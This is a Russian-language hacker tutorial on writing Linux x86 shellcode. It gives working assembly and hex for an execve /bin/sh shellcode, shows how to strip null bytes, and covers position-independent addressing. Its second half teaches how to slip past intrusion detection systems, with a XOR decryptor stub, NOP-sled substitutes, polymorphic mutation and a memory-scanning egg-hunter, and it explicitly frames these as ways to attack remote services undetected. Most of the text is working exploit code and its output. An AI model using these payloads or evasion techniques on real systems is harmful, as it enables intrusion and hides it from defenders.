Прогрессивные методы разработки шеллкодов в ОС класса UNIX.

Прогрессивные методы разработки шеллкодов в ОС класса UNIX.

Причиной создания этой статьи послужило отсутствие достаточного количества информации по этой теме на русском языке, а так же собственные наработки автора в этой области. Первая часть статьи посвящена рассмотрению методов разработки шеллкодов в целом и решения проблем, возникающих при этом (к примеру, как эффективнее избавиться от нуль-байтов в коде). Во второй части статьи мы коснемся аспектов профессиональной разработки байт-кодов. Сюда входит решение таких проблем, как укрывание байт-кода от IDS, разделение шеллкода в памяти на несколько частей и прочие трюки, необходимые для более эффективной работы.

Автор: hr0nix (hr0nix 0 front.ru)

Содержание:

  1. Введение.
  2. Шеллкоды “As Is”.
    1. Основные принципы разработки.
    2. Избавляемся от нуль-байтов.
    3. Адресация.
    4. «Боевой» пример.
  3. Advanced in shellcode development.
    1. Шифрованное тело.
    2. Замена NOP-ам. Полиморфный код.
    3. Прямой поиск кода в памяти.
!!! ПРЕДУПРЕЖДЕНИЕ !!! Для того, чтобы понять все, что последует далее, от Вас потребуется знание ассемблера (под архитектуру x86), Си и ОС Linux. Впрочем, даже если чего-то из этого вы не знаете, читать дальше вам все равно никто не запретит. =)

1. Введение.

Причиной создания этой статьи послужило отсутствие достаточного количества информации по этой теме на русском языке, а так же собственные наработки автора в этой области. Первая часть статьи посвящена рассмотрению методов разработки шеллкодов в целом и решения проблем, возникающих при этом (к примеру, как эффективнее избавиться от нуль-байтов в коде). Во второй части статьи мы коснемся аспектов профессиональной разработки байт-кодов. Сюда входит решение таких проблем, как укрывание байт-кода от IDS, разделение шеллкода в памяти на несколько частей и прочие трюки, необходимые для более эффективной работы. Пока я писал эту статью, я создал небольшой программный пакет со скромным названием SH311G0d =), весьма полезный (по крайней мере, мне он часто был нужен) при разработке байт-кодов. По ходу статьи я буду рассказывать о его функциях и о том, как они были реализованы. Скачать сам пакет вы сможете с !!!ТУТ ССЫЛКА!!! Все примеры в статье реализованы для ОС Linux. Почему? Просто эта система – одна из самых распространенных и удобных на сегодняшний день. А, освоив технику написания байт-кода в ней, можно без труда писать шеллкоды для любой UNIX-системы.

2. Шеллкоды “As Is”.

Итак, понеслась. Для начала, что же такое шеллкод? В настоящее время шеллкодом принято называть последовательность опкодов процессора, представимую в виде строки символов и удовлетворяющую ряду свойств:

  • Отсутствие в коде нуль-байтов (символов с кодом 0x00) – это свойство следует из требования того факта, что код должен быть представим в виде строки. Напоминаю, что в Си (и еще ряде языков) нуль-байт служит признаком конца строки, следовательно, если в шеллкоде будет нуль-байт, то при его копировании (или еще какой-нибудь строковой операции) обработается только часть строки до первого нуль-байта, что может вызвать некоторые неприятности.
  • Шеллкод должен выполниться корректно в любой момент, когда на него будет передано управление (свойство вызвано спектром использования шеллкодов – в различных атаках, в ходе которых повреждается структура памяти), и его работа не должна зависеть от того, в какой области памяти находится байт-код.
  • Шеллкод по возможности должен быть универсальным, то есть иметь работать корректно на всех системах одного типа (данное свойство наиболее критично в win32-системах, но речь у нас не о них).
  • Чем меньше размер байт-кода, тем лучше (больше вероятность того, что мы успешно поместим его в какой-нибудь буфер). В принципе, это свойство можно отнести к категории универсальности.
Сами шеллкоды правильнее было бы назвать байт-кодами, название это прицепилось к ним потому, что коды, о которых пойдет речь, первоначально использовались для того, чтобы получить приглашение командного интерпретатора. Отсюда и название «шеллкоды».

2.1 Основные принципы разработки.

Что необходимо для разработки шеллкодов в целом (кроме прямых рук и трезвой головы)? Текстовый редактор, где мы их будем набивать (это уже лично ваше дело, однако я предпочитаю mcedit), компилятор ассемблера и платформа для быстрого запуска созданных кодов в реальных условиях, позволяющая проверить написанное в деле. Далее в этой статье в качестве компилятора будет использоваться NASM. Для тестирования же байт-кодов я создал свое решение (уже упоминавшееся во введении). Чтобы эта статья не показалась кому-нибудь рекламой моего софта =), приведу реализацию запуска байт-кода на Си:
void run_code( char * code )
{
    asm
    (
        "jmp *%%eax;"
        :: "a" (code)
    );
}
Параметр code – символьный массив, содержащий наш байт-код. Для запуска шеллкода при помощи SH311G0d (далее SG) используйте ключ –r :
[root@id: ~/work/c0ding/shellgod]# ./shellgod -i ./shello.asm -r

        ...SKIPPED...

Preparing to run shellcode...
hello world
[root@id: ~/work/c0ding/shellgod]#
Для предоставления пользовательской программе сервисов в ОС Linux (и некоторых других ОС семейства UNIX) существует механизм системных вызовов. Сами системные вызовы – подпрограммы ядра для выполнения таких базовых операций, как чтение и запись в файлы, работа с сокетами и т.п. На данный момент в ОС Linux их более двухсот. Увидеть полный список системных вызовов и узнать их номера можно в файле /usr/include/asm/unistd.h:
[root@id: ~/work/c0ding/shellgod]# head -n 15 /usr/include/asm/unistd.h
#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_

/*
 * This file contains the system call numbers.
 */

#define __NR_exit                 1
#define __NR_fork                 2
#define __NR_read                 3
#define __NR_write                4
#define __NR_open                 5
#define __NR_close                6
#define __NR_waitpid              7
#define __NR_creat                8
[root@id: ~/work/c0ding/shellgod]#
Вызываются системные вызовы (простите за тавтологию) или syscalls в Linux следующим образом:
  • В регистр eax помещается номер системного вызова (см. выше).
  • В ebx, ecx и edx помещаются аргументы системного вызова (узнать о них проще всего в man-страницах вашей операционной системы).
  • Вызывается прерывание номер 0x80.
Возвращаемое значение системного вызова помещается в eax.

В некоторых системах метод вызова syscalls несколько отличается – это лучше уточнить в каком-нибудь специальном справочнике вашей системы или у разработчиков. Пример вызова sys_exit() – программа, выходящая из программы =) :

[root@id: ~/work/c0ding/shellgod]# cat just_exit.asm
BITS 32
mov eax, 1 ; sys_exit()
mov ebx, 0 ; Выходим с кодом 0
int 0x80   ; Поехали!
[root@id: ~/work/c0ding/shellgod]
	# nasm -f elf ./just_exit.asm && ld -s -o ./just_exit ./just_exit.o
ld: warning: cannot find entry symbol _start; defaulting to 08048080
[root@id: ~/work/c0ding/shellgod]# strace ./just_exit
execve("./just_exit", ["./just_exit"], [/* 17 vars */]) = 0
_exit(0)                                = ?
[root@id: ~/work/c0ding/shellgod]#
strace – чрезвычайно полезная для отладки шеллкодов программа. Ее работа заключается в том, что она запускает программу, переданную вторым аргументом, и составляет подробный отчет обо всех системных вызовах, сделанных этой программой (а так же предоставляет список параметров этих вызовов). Я потерял очень много времени на отладке, не используя трэйсер системных вызовов. Итак, теперь мы знаем достаточно, чтобы приступать к самому главному.

2.2 Избавляемся от нуль-байтов.

Рассмотрим следующий ассемблерный код:

[root@id: ~/work/c0ding/shellgod]# cat ./hello.asm
; Всего лишь пример разработки под NASM

BITS 32

; Пишем строчку

    push        "rld_"                  ; Заносим
    push        "o wo"                  ; операнды
    push        "hell"                  ; в стек
    mov byte    [esp+0x0b],     0xa     ; Добавляем нуль-байт в конец строки
    mov         edx,            0xc     ; Длину сообщения сюда
    mov         ecx,            esp     ; А сюда его адрес
    mov         ebx,            0x01    ; Дескриптор вывода (STDOUT)
    mov         eax,            0x04    ; sys_write()
    int         0x80

; И выходим

    mov         ebx,            0x00    ; Выходим с кодом 0
    mov         eax,            0x01    ; sys_exit()
    int         0x80
[root@id: ~/work/c0ding/shellgod]#
Скомпилируем и выполним:
[root@id: ~/work/c0ding/shellgod]# nasm -f elf hello.asm && ld -s -o hello hello.o
ld: warning: cannot find entry symbol _start; defaulting to 08048080
[root@id: ~/work/c0ding/shellgod]# strace ./hello
execve("./hello", ["./hello"], [/* 17 vars */]) = 0
write(1, "hello world\n", 12hello world
)           = 12
_exit(0)                                = ?
[root@id: ~/work/c0ding/shellgod]#
На первый взгляд, все просто прекрасно. Однако вот досадный момент:
[root@id: ~/work/c0ding/shellgod]# ./shellgod -i hello.asm -r

        SH311G0D v0.1 - by [hr0nix @ darkwired]
        
Found any bugs -> plz find me at irc.darkwired.org 
				   or mail to hr0nix@darkwired.org

Formatting shellcode...

Nullbyte detected in your shellcode at pos 23!
[root@id: ~/work/c0ding/shellgod]#
Здесь надо заметить, что SG сперва компилирует исходник в объект-код, а потом уже работает с ним. Посмотрим, откуда взялся нуль-байт:
[root@id: ~/work/c0ding/shellgod]# ndisasm -b 32 ./hello
00000000  68726C645F        push dword 0x5f646c72
00000005  686F20776F        push dword 0x6f77206f
0000000A  6868656C6C        push dword 0x6c6c6568
0000000F  C644240B0A        mov byte [esp+0xb],0xa
00000014  BA0C000000        mov edx,0xc
00000019  89E1              mov ecx,esp
0000001B  BB01000000        mov ebx,0x1
00000020  B804000000        mov eax,0x4
00000025  CD80              int 0x80
00000027  BB00000000        mov ebx,0x0
0000002C  B801000000        mov eax,0x1
00000031  CD80              int 0x80
[root@id: ~/work/c0ding/shellgod]#
Как можно заметить, первый нуль-байт встречается в инструкции mov edx,0xc. Откуда он берется? Регистр edx имеет размер 4 байта (подразумевается, что у вас 32-битный процессор архитектуры x86 =) ), однако мы в него пытаемся поместить константу, имеющую всего один значимый байт – младший. Остальные байты – нули. В конечном виде эта инструкция будет выглядеть как mov edx,0x0000000c. Отсюда и 3 нуль-байта дизассемблерного листинга. В принципе, нуль-байты в коде в 90% случаев берутся именно в результате компилирования подобных команд. Бороться с этим очень просто – необходимо предварительно обнулить весь регистр (при помощи xor), а потом записать в младший байт нашу константу. То есть наше mov edx,0x0000000c будет выглядеть так:
xor edx, edx
mov dl, 0x0c
В откомпилированном варианте, кстати, второй вариант даже будет короче.

Другая проблема – признаки конца строки. Если использовать в коде выражения вида msg db ‘hello world’,0x0 – ни до чего хорошего это не доведет. Самый простой способ решения этой проблемы – получить 0x0 в одном из регистров, а дальше сделать mov byte [<адрес_сообщения> + <длина_сообщения>], <регистр_с_нулем>. Пример использования (только с символом конца строки) – строка номер 4 вышеприведенного листинга. Так же рекомендуется всегда использовать минимально возможные регистры для хранения данных и явно указывать размеры операндов (push byte, jmp short и т.д.). Вот пример кода, содержащего большинство причин появления нуль-байтов:

[root@id: ~/work/c0ding/shellgod]# cat with_null.asm
BITS 32
push long 0x41
mov byte [esp], 0x0
mov long eax, 0x4
push long 0x0
[root@id: ~/work/c0ding/shellgod]#
Вывод ndisasm –b 32 :
[root@id: ~/work/c0ding/shellgod]# ndisasm -b 32 with_null
00000000  6841000000        push dword 0x41
00000005  C6042400          mov byte [esp],0x0
00000009  B804000000        mov eax,0x4
0000000E  6800000000        push dword 0x0
[root@id: ~/work/c0ding/shellgod]#
Как мы видим, в шестнадцатеричном представлении каждой из команд присутствует нуль-байт. А теперь исправленный вариант:
[root@id: ~/work/c0ding/shellgod]# cat without_null.asm
BITS 32
xor long eax, eax
xor long ebx, ebx
push byte 0x41
mov byte [esp], al
mov byte al, 0x4
push long ebx
[root@id: ~/work/c0ding/shellgod]
			# nasm -o without_null without_null.asm
[root@id: ~/work/c0ding/shellgod]
			# ndisasm -b 32 without_null
00000000  31C0              xor eax,eax
00000002  31DB              xor ebx,ebx
00000004  6A41              push byte +0x41
00000006  880424            mov [esp],al
00000009  B004              mov al,0x4
0000000B  53                push ebx
[root@id: ~/work/c0ding/shellgod]#
В придачу ко всему, исправленный код еще и оказался намного короче певоначального. Теперь мы готовы исправить hello.asm, превратив его в полноценный шелл-код:
[root@id: ~/work/c0ding/shellgod]# cat shello.asm
; А теперь избавляемся от нуль-байтов

BITS 32

    push        "rld_"
    push        "o wo"
    push        "hell"
    xor         edx,            edx
    xor         ebx,            ebx
    xor         eax,            eax
    mov byte    [esp+0x0b],     0xa
    mov         dl,             0xc
    mov         ecx,            esp
    mov         bl,             0x01
    mov         al,             0x04
    int         0x80

    xor         ebx,            ebx
    xor         eax,            eax
    mov         al,             0x01
    int         0x80
[root@id: ~/work/c0ding/shellgod]# nasm -o shello shello.asm
[root@id: ~/work/c0ding/shellgod]# ndisasm -b 32 shello
00000000  68726C645F        push dword 0x5f646c72
00000005  686F20776F        push dword 0x6f77206f
0000000A  6868656C6C        push dword 0x6c6c6568
0000000F  31D2              xor edx,edx
00000011  31DB              xor ebx,ebx
00000013  31C0              xor eax,eax
00000015  C644240B0A        mov byte [esp+0xb],0xa
0000001A  B20C              mov dl,0xc
0000001C  89E1              mov ecx,esp
0000001E  B301              mov bl,0x1
00000020  B004              mov al,0x4
00000022  CD80              int 0x80
00000024  31DB              xor ebx,ebx
00000026  31C0              xor eax,eax
00000028  B001              mov al,0x1
0000002A  CD80              int 0x80
[root@id: ~/work/c0ding/shellgod]# ./shellgod -i shello.asm -r

        ...SKIPPED...

Preparing to run shellcode...
hello world
[root@id: ~/work/c0ding/shellgod]#
Ну что же, 0x0-байты нам теперь не помеха. Тут надо заметить, что существует еще один весьма эффективный способ избавиться от нуль-байтов – шифрование кода в памяти. Подробно об этом будет рассказано в соответствующем разделе.

2.3 Адресация.

К сожалению, мы не знаем абсолютных адресов наших данных в памяти – ведь мы практически никогда не можем угадать, в какое место в памяти попадет наш шеллкод. Существует два способа решения этой проблемы: используя стек и EIP. Сейчас мы рассмотрим каждый из этих методов подробнее.

Стек

Каждый раз, когда мы помещаем какие-либо данные в стек при помощи push, регистр ESP меняет свое значение на адрес этих данных в памяти. Мы уже использовали ESP для определения адреса строки в памяти (shello.asm):

    push        "rld_"
    push        "o wo"
    push        "hell"
    	...SKIPPED...
(*) mov byte    [esp+0x0b],     0xa
    mov         dl,             0xc
(*) mov         ecx,            esp
EIP

Когда мы используем инструкцию вида call _label, она заменяется парой

push eip       ; Указатель на текущую исполняемую инструкцию кладется в стек
jmp _label     ; Передача управления на метку
При использовании ret EIP вынимается из стека, после чего на него происходит jmp. Этих двух фактов вполне достаточно для определения адреса любых наших данных в памяти. Вот многострадальный shello.asm, который теперь достает адрес строки, используя EIP:
[root@id: ~/work/c0ding/shellgod]# cat eip_shello.asm
; Находим адрес строки при помощи EIP

BITS 32

    jmp short   _start

_end:
    pop         esi  ; Вытаскиваем EIP из стека в ESI
    xor         edx,            edx
    xor         ebx,            ebx
    xor         eax,            eax
    mov byte    [esi+0x0b],     0xa
    mov         dl,             0xc
    mov         ecx,            esi
    mov         bl,             0x01
    mov         al,             0x04
    int         0x80

    xor         ebx,            ebx
    xor         eax,            eax
    mov         al,             0x01
    int         0x80

_start:
    call        _end
    db          'hello world!_'
[root@id: ~/work/c0ding/shellgod]# ./shellgod -i ./eip_shello.asm -r

        ...SKIPPED...

Preparing to run shellcode...
hello world
[root@id: ~/work/c0ding/shellgod]#

2.4 «Боевой» пример.

Теперь мы знаем достаточно, чтобы написать свой первый шеллкод, который будет делать что-нибудь более серьезное, чем выводить “hello world”. Вот пример классического шеллкода – программы, запускающей /bin/sh, используя стек для определения адреса строки с командой (этот код – самый короткий из тех, что я видел, если кто-нибудь видел короче, сообщите мне, пожалуйста, об этом):
[root@id: ~/work/c0ding/shellgod]# cat shell.asm
; Первый серьезный пример - /bin/sh, используя стек

BITS 32

    xor         eax,            eax    ; Очищаем eax
    push        '/sh_'                 ; Кладем имя
    push        '/bin'                 ; файла в стек
    mov byte    [esp+0x7],      al     ; И завершаем ее нуль-байтом
    mov         ebx,            esp       ; Адрес имени файла в ebx
    push        eax                       ; Нуль-байт в стек
    push        ebx                       ; Адрес имени файла в стек
    lea         ecx,            [esp]     ; Адрес всего этого в ecx
    lea         edx,            [esp+0x4] ; И адрес нуль-байта в edx
    mov         al,             0xb       ; sys_execve()
    int         0x80                      ; Поехали!
[root@id: ~/work/c0ding/shellgod]# ./shellgod -i ./shell.asm -r

...SKIPPED...

Formatting shellcode...

        /*
         *      Shellcode generated by SH311G0D v0.1 ( author: hr0nix )
         *      Code length: 31
         */

        char shellcode[] =
        "\x31\xc0\x68\x2f\x73\x68"
        "\x5f\x68\x2f\x62\x69\x6e"
        "\x88\x44\x24\x07\x89\xe3"
        "\x50\x53\x8d\x0c\x24\x8d"
        "\x54\x24\x04\xb0\x0b\xcd"
        "\x80";

Preparing to run shellcode...
sh-2.05a#
Как мы видим, длина кода – всего 31 байт, зато сколько пользы. Вообще, шеллкоды, оправдывающие свое название (в смысле, порождающие шелл) написать проще всего. К примеру, для того, чтобы вывести строку в файл, придется работать уже с тремя системными вызовами open(), write() и close(). Сложнее всего – шеллкоды для сетевого эксплойтинга, тут придется поработать с огромным количеством системных вызовов (особенно, в случае portbind). За хорошими примерами подобных кодов рекомендую обратиться к статье моего хорошего друга dodo, найти которую можно на www.darkwired.org.

3. Advanced in shellcode development.

В принципе, приведенной в предыдущем разделе информации для человека, знающего ассемблер и UNIX, вполне достаточно, чтобы написать байт-код любой сложности. Однако написать и успешно использовать – две совсем разные вещи. Представим себе такую ситуацию – наш доблестный хакер атакует удаленный сервис, а его вредоносные пакеты, содержащие поддельные данные упорно не доходят до цели. В чем дело? А дело, господа, в IDS.

Последнее время появляется все больше и больше систем обнаружения вторжения, способных обнаружить в анализируемых пакетах данных шеллкоды. Давайте разберемся, как это происходит и как от этого защититься.

В 95% случаев IDS использует для обнаружения вредоносных пакетов сигнатурный анализ. Вот список ключевых сигнатур, на основании наличия которых в данных пакета IDS делает вывод о степени его вредоносности по отношению к системе:

  • “\xcd\x80” – классика. Считается, что шеллкод обязательно должен вызывать прерывание номер 0x80 (иначе как же он навредит?). Однако, как мы увидим в дальнейшем, можно написать любой код, не используя эту сигнатуру.
  • Строки вида “/bin/sh”, “cmd.exe” и т.п. Очевидно, избавиться от подобных сигнатур очень просто вручную. Достаточно сперва положить в память несколько измененную строку, а потом придать ей вид нужной так же, как мы делали в shello.asm, добавляя в конец символ перевода строки.
  • Наличие цепочек из байтов 0x90 – команд NOP. Обычно добавляют длинную цепочку NOP-ов в буфер перед шеллкодом, чтобы проще было попасть на него адресом возврата. О замене NOP-ам мы поговорим в соответствующем разделе.
В принципе, для обнаружения шеллкодов также можно было бы использовать эвристический анализ, однако в более-менее загруженных сетях обрабатывать большое количество пакетов подобным образом просто не представляется возможным.

3.1 Шифрованное тело.

Одно из наиболее красивых решений для скрытия шеллкодов – шифрование рабочего тела. Это происходит следующим образом:

  1. Само тело шеллкода шифруется при помощи какого-нибудь алгоритма шифрования, позволяющего осуществить однозначную расшифровку криптованного текста (далее, не заостряясь на деталях шифрования, будем использовать банальный XOR).
  2. Перед зашифрованным телом помещается компактный (по возможности) расшифровщик, который придает байт-коду в памяти его первоначальный вид.
  3. После расшифровки управление передается на расшифрованный байт-код.
Чаще всего для шифрования кода используется XOR (по одно-, двух- или четырехбайтовому ключу), как наиболее быстрый и просто реализуемый из алгоритмов шифрования. Вот пример реализации однобайтового XOR-расшифровщика:
BITS 32

 push 0x81cc0ab1
 ...Кладем шифрованное тело в стек...
push 0x69c13091

xor     eax,         eax	; Очищаем eax
mov     al,          1	; И кладем туда ключ (в нашем случае – 0x01)
xor     ebx,         ebx	; Очищаем ebx
xor     ecx,         ecx	; И eсx
mov     bl,     32	; В ebx помещаем длину кода для расшифровки
_loop:
xor     [esp+ecx],    eax	; Расшифровываем текущий байт
inc     ecx		; Увеличиваем счетчик
cmp     ecx,    ebx	; Все расшифровали?
jne     _loop		; Если нет – на начало.
jmp     esp			; Запуск расшифрованного кода.
 
Поддержка шифрования предусмотрена и в моей программе. При указания ключа –c SH311G0d сделает из данного ему на входе байт-кода зашифрованную программную систему с расшифровщиком, которая сама по себе является полноценным шеллкодом.

Итак, какие плюсы мы получаем при шифровании?

  1. В зашифрованном коде почти наверняка будут отсутствовать различные сигнатуры наподобие “\xcd\x80”, а значит, обнаружить его при помощи IDS будет практически невозможно.
  2. Если в написанном вами коде очень сложно обойтись без нуль-байтов (или их использование дает серьезный выигрыш по размерам кода), то, зашифровав код так, чтобы в зашифрованном виде их не встречалось, мы навеки забудем про эту проблему (тут надо сказать, что SH311G0d так выбирает XOR-ключ, чтобы 0x0-байтов в зашифрованном байт-коде не возникло). В случае XOR-шифрования, для выполнения этого условия достаточно, чтобы значение ключа не совпадало ни с одним из байтов кода (т.к. a xor a = 0).
Однако есть и существенный минус: вредоносный пакет можно будет опознать по сигнатуре расшифровщика. О том, как избавиться от константной структуры вашего кода, сказано в следующем разделе.

3.2 Замена NOP-ам. Полиморфный код.

От проблемы обнаружения сигнатур кода мы уже избавились. Следующая проблема – замена цепочки 0x90-байтов. Напомню, NOP – пустая команда, которая просто передает выполнение на следующую. Цепочки NOP-ов используются для того, чтобы можно было проще найти шеллкод в памяти (достаточно попасть значением EIP на адрес одного из NOP-ов, и управление по цепочке дойдет до нашего байт-кода). Однако всем IDS хорошо известен зловредный 0x90-байт, и пакет, содержащий эту субстанцию в необходимых количествах, будет отвергнут системой обнаружения вторжений как потенциально опасный.

Но, как говорится, не NOP-ом единым жив человек. Вот пример инструкций, которые не имеют абсолютно никакого воздействия на процесс исполнения и, следовательно, могут послужить заменой NOP-у:

[root@id: ~/work/c0ding/shellgod]# cat nops.asm
BITS 32
mov     eax,    eax
mov     dl,     dl
mov     cx,     cx
mov     esi,    esi
mov     esp,    esp
mov     si,     si
inc     eax
dec     dl
[root@id: ~/work/c0ding/shellgod]# nasm nops.asm
[root@id: ~/work/c0ding/shellgod]# ndisasm -b 32 nops
00000000  89C0              mov eax,eax
00000002  88D2              mov dl,dl
00000004  6689C9            mov cx,cx
00000007  89F6              mov esi,esi
00000009  89E4              mov esp,esp
0000000B  6689F6            mov si,si
0000000E  40                inc eax
0000000F  FECA              dec dl
[root@id: ~/work/c0ding/shellgod]# 
Очевидно, в нашей псевдо-цепочке мы можем как угодно модифицировать содержимое пользовательских регистров (все равно в шеллкоде мы их обнулим), а так же переносить данные из любого регистра в самого себя. Однако здесь есть одна небольшая проблема – почти у всех этих команд опкоды занимают в памяти минимум два байта. Таким образом, нет никакой гарантии, что попадем мы именно на начало необходимой нам команды, а не на середину, получив в результате лаконичное Illegal Instruction. В принципе, это лечится довольно просто – каждый адрес возврата нужно пробовать использовать тремя способами: без сдвига, со сдвигом в один и в два байта.

Теперь что касательно полиморфизма кода. Избавляться от сигнатур можно по-разному, тут нужно не забывать, что запрограммировать один и тот же алгоритм можно довольно большим количеством способов. В придачу к этому, чтобы избавиться от постоянного вида нашего кода, достаточно добавить в случайные места нашего кода некоторое количество случайно (да, повсюду царит random) выбранных псевдо-NOP-ов. Здесь необходимо помнить, что мы уже не можем модифицировать содержимое пользовательских регистров, однако можем заменять команды вида “mov al, 5” на что-нибудь типа “mov al, 4; inc al” Применяя подобные преобразования к вашему шеллкоду (особенно вкупе с шифрованием), вы почти 100-процентно защищаете его от обнаружения IDS. SH311G0d также умеет случайным образом модифицировать данный на входе шеллкод, уменьшая вероятность его обнаружения. Для этого используется ключ –m. В случае использования ключа –m совместно с –c, программа сперва зашифрует байт-код, а потом модифицирует расшифровщик. Результат – каждый раз – новый код, что приводит к практически полному отсутствию сигнатур. В дальнейшем я буду работать над усовершенствованием эвристического модификатора исходного кода, т.к. эта идея меня весьма заинтересовала.

3.3 Прямой поиск кода в памяти.

Представьте себе такую ситуацию. Вы атакуете удаленный сервис, однако по какой-то причине не можете положить весь ваш шеллкод в уязвимый буфер (расположение которого в памяти вам известно хотя бы приблизительно). Тогда на помощь приходит такое решение:

Помещаем свой шеллкод в любое место адресного пространства программы (другой буфер, heap), а в уязвимый буфер кладем небольшой байт-код, который найдет по какой-либо сигнатуре «главный» код в памяти. Услышав слова «поиск в памяти», хочется сразу спросить: а как же SIGSEGV? Ведь всегда существует возможность наткнуться на область памяти, не принадлежащую программе и умереть с лаконичным и до боли знакомым сообщением.

Но и тут нас не оставят в беде. Оказывается, существует системный вызов chdir(), принимающий в качестве единственного аргумента указатель на строку – имя каталога. Если этот указатель указывает (и снова тавтология =( ) за пределы доступного адресного пространства, то вызов возвращает значение 0xfffffff2, иначе 0xfffffffe, чем мы и воспользуемся. Итак, общая структура данных в этом случае такова:

...
<4-х байтовая сигнатура>
<наш «главный» шеллкод>
...
<Шеллкод для прямого поиска по сигнатуре>
...
Сам шеллкод для прямого поиска выглядит следующим образом:
BITS 32

mov         ebx,    0x08048001   ; Адрес для начала скана
mov         esi,    0x41414140   ; Паттерн-1, чтобы не найти самое себя
inc         esi                  ; esi=Паттерн

_loop:
xor         eax,            eax
inc         ebx             ; Адрес++
mov         al,           0x0c  ; sys_chdir()
int         0x80
cmp         al,           0xfe  ; Корректен ли адрес?
jne         _loop               ; Нет - на начало
cmp         [ebx],          esi ; Сравниваем с паттерном
jne         _loop               ; Не совпадает - на начало
add         bl,             0x04
jmp         ebx                 ; Вперед к светлому будущему
Вот пример программы на Си, использующей эту технологию на практике:
[root@id: ~/work/c0ding/shellgod]# cat shellfind_test.c
/* Всего лишь наш многострадальный shello.asm */
char shellcode[] =
"\x41\x41\x41\x41" // Сигнатура
"\x68\x72\x6c\x64\x5f\x68"
"\x6f\x20\x77\x6f\x68\x68"
"\x65\x6c\x6c\x31\xd2\x31"
"\xdb\x31\xc0\xc6\x44\x24"
"\x0b\x0a\xb2\x0c\x89\xe1"
"\xb3\x01\xb0\x04\xcd\x80"
"\x31\xdb\x31\xc0\xb0\x01"
"\xcd\x80";

/* Код для прямого поиска в памяти */
char findcode[] =
"\xbb\x01\x80\x04\x08\xbe"
"\x40\x41\x41\x41\x46\x31"
"\xc0\x43\xb0\x0c\xcd\x80"
"\x3c\xfe\x75\xf5\x39\x33"
"\x75\xf1\x80\xc3\x04\xff"
"\xe3";

void run_code( char * code )
{
    asm
    (
        "jmp *%%eax;"
        :: "a" ( code )
    );
}

int main()
{
    run_code( findcode );
}
[root@id: ~/work/c0ding/shellgod]
	# gcc -o shellfind_test shellfind_test.c
[root@id: ~/work/c0ding/shellgod]
	# ./shellfind_test
hello world
[root@id: ~/work/c0ding/shellgod]#
При желании, можете запустить все это через strace и посмотреть, как вживую сканируется память.

Ну вот и все, что я хотел рассказать о современных методах разработки шеллкодов. Искренне надеюсь, моя статья поможет кому-нибудь из вас перестать использовать готовые решения, уподобляясь скрипт-кидди, и начать Творить, как и подобает человеку, что хочет называться Хакером.

Благодарности.

Great tnx всем, кто помогал вылавливать баги в статье: ov3r, Nagatoky, virusman, [HEX] - ваша помощь была неоценима. Спасибо всем, кто не давал мне спать, пока я работал. Респект #m00 и #darkwired (просто потому, что там хорошие люди). И привет моему преподу по матану: еще раз завалите на экзамене, Дмитрий Валерьевич, будете страдать (да, это угроза)…

Где кванты и ИИ становятся искусством?

На перекрестке науки и фантазии — наш канал

Подписаться